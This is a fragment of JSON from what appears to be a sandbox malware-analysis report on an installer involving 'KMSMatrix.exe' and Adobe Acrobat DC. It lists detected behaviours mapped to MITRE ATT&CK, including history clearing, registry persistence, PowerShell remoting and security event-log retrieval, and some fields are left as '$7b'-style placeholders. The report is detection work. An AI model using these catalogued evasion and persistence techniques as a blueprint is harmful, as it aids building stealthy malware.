Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"65a0721b81dc07259a012199"},{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to clear Powershell session command history (Powershell command string)","description":"Found string \"Clear-History\" (Indicator: \"Clear-History\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.003","relevance":1,"id":"string-243","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to clear content (Powershell command string)","description":"Found string \"Clear-Host\" (Indicator: \"Clear-Host\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Clear-Content\" (Indicator: \"Clear-Content\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Clear-ItemProperty\" (Indicator: \"Clear-ItemProperty\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Clear-Variable\" (Indicator: \"Clear-Variable\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-368","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution (Powershell command string)","description":"Found string \"Start-Sleep\" (Indicator: \"Start-Sleep\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-397","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$7b","origin":"File/Memory","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00001016.00000000.68855.EAA23000.00000002.mdmp\")\n Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00004700.00000000.67824.EAA23000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to rename items (Powershell command string)","description":"Found string \"Rename-ItemProperty\" (Indicator: \"Rename-ItemProperty\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1036.003","relevance":1,"id":"string-381","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to write/modify file content (Powershell command string)","description":"Found string \"Set-Content\" (Indicator: \"Set-Content\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1036.005","relevance":1,"id":"string-331","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Detected msiexec.exe process execution","description":"Process \"MsiExec.exe\" with commandline \"-Embedding DDBB3809C9E84BE0F861F6794AD85E06\" (UID: 00000000-00001356)\n\n Process \"MsiExec.exe\" with commandline \"-Embedding CD7DA549162E5E6097C38150C2FB72E2 E Global\\\\MSI0000\" (UID: 00000000-00006664)\n\n Process \"MsiExec.exe\" with commandline \"-Embedding E6ED6D62F2556439B4FCC7B20669375F E Global\\\\MSI0000\" (UID: 00000000-00006596)","origin":"Monitored Target","mitre_attack_id":"T1218.007","relevance":2,"id":"target-152","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Tries to save executable or command in registry","description":"$7c","origin":"Registry Access","mitre_attack_id":"T1547","relevance":7,"id":"registry-113","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$7d","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00004700.00000000.67824.F7870000.00000004.mdmp, 00000000-00004700.00000000.67824.F9900000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"MSI4353.tmp\" called \"OpenMutexW\" with parameter \"Global\\ARM Update Mutex\" - (UID: 00000000-00008756)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"Found reference to API \"GetUserDefaultLCID\" (Indicator: \"GetUserDefaultLCID\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoEx\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"GetSystemDefaultUILanguage\" (Indicator: \"GetSystemDefaultUILanguage\"; Source: \"00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp\")\n Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Queries the installation properties of user installed products","description":"\"MsiExec.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\68AB67CA330133017706CB5110E47A00\\INSTALLPROPERTIES\")\n \"MsiExec.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\68AB67CA330133017706CB5110E47A00\\INSTALLPROPERTIES\"; Key: \"VERSIONMAJOR\")\n \"MsiExec.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INSTALLER\\USERDATA\\S-1-5-18\\PRODUCTS\\68AB67CA330133017706CB5110E47A00\\INSTALLPROPERTIES\"; Key: \"INSTALLLOCATION\")","origin":"Registry Access","relevance":10,"id":"registry-71","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"KMSMatrix.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"MsiExec.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Calls an API typically used to copy file from one location to another","description":"$7e","origin":"API Call","mitre_attack_id":"T1005","relevance":3,"id":"api-123","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"MsiExec.exe\" called \"CreateDirectoryW\" with parameter %PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1 (UID: 00000000-00006664)\n \"MsiExec.exe\" called \"CreateDirectoryW\" with parameter %PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\locales (UID: 00000000-00006664)\n \"MsiExec.exe\" called \"CreateDirectoryW\" with parameter %PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\acrocef_1\\swiftshader (UID: 00000000-00006664)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to add modules to the current session (Powershell command string)","description":"Found string \"Import-Module\" (Indicator: \"Import-Module\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-348","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to call WMI method (Powershell command string)","description":"Found string \"Invoke-WMIMethod\" (Indicator: \"Invoke-WmiMethod\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-296","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00001016.00000000.68855.EAA23000.00000002.mdmp\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00004700.00000000.67824.EAA23000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to copy files (API string)","description":"Found reference to API \"CopyFile\" (Indicator: \"CopyFile\"; Source: \"00000000-00001016.00000000.68855.D8F90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-449","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to create/load registry keys (API string)","description":"Found reference to API \"RegCreateKeyA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExW\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"RegCreateKeyExA\" (Indicator: \"RegCreateKey\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp, 00000000-00001016.00000000.68855.EAA23000.00000002.mdmp\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp, 00000000-00004700.00000000.67824.EAA23000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to load content from specified source","description":"Found string \"oStream.LoadFromFile(strFileName)\" (Indicator: \".loadfromfile(\"; Source: \"00000000-00001016.00000000.68855.D8F90000.00000004.mdmp, 00000000-00001016.00000000.68855.DB140000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-554","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFile\" (Indicator: \"MoveFile\"; Source: \"00000000-00001016.00000000.68855.1DD22000.00000002.mdmp, 00000000-00001016.00000000.68855.D8F90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp, 00000000-00001016.00000000.68855.EAA23000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp, 00000000-00001016.00000000.68855.EAA23000.00000002.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004700.00000000.67824.EAA23000.00000002.mdmp\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00004700.00000000.67824.EAA23000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"CreateThreadpoolTimer\" (Indicator: \"CreateThread\"; Source: \"00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to run commands (Powershell command string)","description":"Found string \"Invoke-Command\" (Indicator: \"Invoke-Command\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-287","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"[Parameter(ParameterSetName='ShowWindow', Mandatory=$true)]\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found reference to API \"${ShowWindow})\" (Indicator: \"ShowWindow\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"Found string \"Start-Process\" (Indicator: \"Start-Process\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains ability to start services (Powershell command string)","description":"Found string \"Start-Service\" (Indicator: \"Start-Service\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-332","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"General","name":"Contains the ability to enumerate service (API string)","description":"Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00001016.00000000.68855.EAA23000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00004700.00000000.67824.EAA23000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to create/update instances of WMI classes (Powershell command string)","description":"Found string \"Set-WMIInstance\" (Indicator: \"Set-WmiInstance\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1546.003","relevance":1,"id":"string-336","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains reference to background jobs (Powershell command string)","description":"Found string \"Get-Job\" (Indicator: \"Get-Job\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Receive-Job\" (Indicator: \"Receive-Job\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Remove-Job\" (Indicator: \"Remove-Job\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Stop-Job\" (Indicator: \"Stop-Job\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Wait-Job\" (Indicator: \"Wait-Job\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Resume-Job\" (Indicator: \"Resume-Job\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Start-Job\" (Indicator: \"Start-Job\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Debug-Job\" (Indicator: \"Debug-Job\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1197","relevance":1,"id":"string-375","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Modifies the open verb of a shell class","description":"\"MsiExec.exe\" (Path: \"HKLM\\SOFTWARE\\CLASSES\\ACROBAT\\SHELL\\OPEN\\COMMAND\"; Key: \"(DEFAULT)\"; Value: \"\"%PROGRAMFILES%\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe\" /u \"%1\"\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-58","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"$7f","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access LNK files (Windows shortcut)","description":"\"MsiExec.exe\" trying to access LNK file \"\\Device\\HarddiskVolume3\\Users\\Public\\Desktop\\Adobe Acrobat DC.lnk\"\n \"MsiExec.exe\" trying to access LNK file \"\\Device\\HarddiskVolume3\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Acrobat DC.lnk\"\n \"MsiExec.exe\" trying to access LNK file \"\\Device\\HarddiskVolume3\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Acrobat Distiller DC.lnk\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-203","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Contains ability to get content from a webpage (Powershell command string)","description":"Found string \"Invoke-WebRequest\" (Indicator: \"Invoke-WebRequest\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-282","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Network Related","name":"Contains ability to move items (Powershell command string)","description":"Found string \"Move-ItemProperty\" (Indicator: \"Move-ItemProperty\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-378","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to receive remote commands (Powershell command string)","description":"Found string \"Enable-PSRemoting\" (Indicator: \"Enable-PSRemoting\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-289","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Remote Access Related","name":"Contains reference to remote powershell session activity (Powershell command string)","description":"$80","origin":"File/Memory","mitre_attack_id":"T1021.006","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate process encountered in a system snapshot","description":"$81","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-104","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"$82","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$83","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve event logs (Powershell command string)","description":"Found string \"PowerShell -Command {Get-EventLog -LogName security}\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"PowerShell -Command \"& {Get-EventLog -LogName security}\"\" (Indicator: \"Get-EventLog\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-300","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"where the quotation marks indicate a string and the invoke operator (&)\" (Indicator: \"where \"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve processes (Powershell command string)","description":"Found string \"Get-Process\" (Indicator: \"Get-Process\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-291","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")\n Found reference to API \"11110391132,7820,3167,,GetUserNameExW,secur32.dll,\"00:17:39.703\",RX=0,PX=0\" (Indicator: \"GetUserName\"; Source: \"00000000-00004700.00000000.67824.F9900000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to create/modify item values (Powershell command string)","description":"Found string \"Set-ItemProperty\" (Indicator: \"Set-ItemProperty\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-367","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete a property and its value from an item (Powershell command string)","description":"Found string \"Remove-Module\" (Indicator: \"Remove-Module\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Remove-PSBreakpoint\" (Indicator: \"Remove-PSBreakpoint\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Remove-Variable\" (Indicator: \"Remove-Variable\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Remove-PSDrive\" (Indicator: \"Remove-PSDrive\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Remove-ItemProperty\" (Indicator: \"Remove-ItemProperty\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Remove-PSSnapin\" (Indicator: \"Remove-PSSnapin\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")\n Found string \"Remove-WMIObject\" (Indicator: \"Remove-WmiObject\"; Source: \"00000000-00005288.00000000.68366.12970000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-369","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileWWL\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001016.00000000.68855.1DD22000.00000002.mdmp\")\n Found reference to API \"DeleteFileWW\" (Indicator: \"DeleteFile\"; Source: \"00000000-00001016.00000000.68855.D8F90000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"657e4486645c2408e50a8998"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RPRegDeleteKey\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00001356.00000000.66886.360C0000.00000004.mdmp, 00000000-00001356.00000001.68804.360C0000.00000004.mdmp, 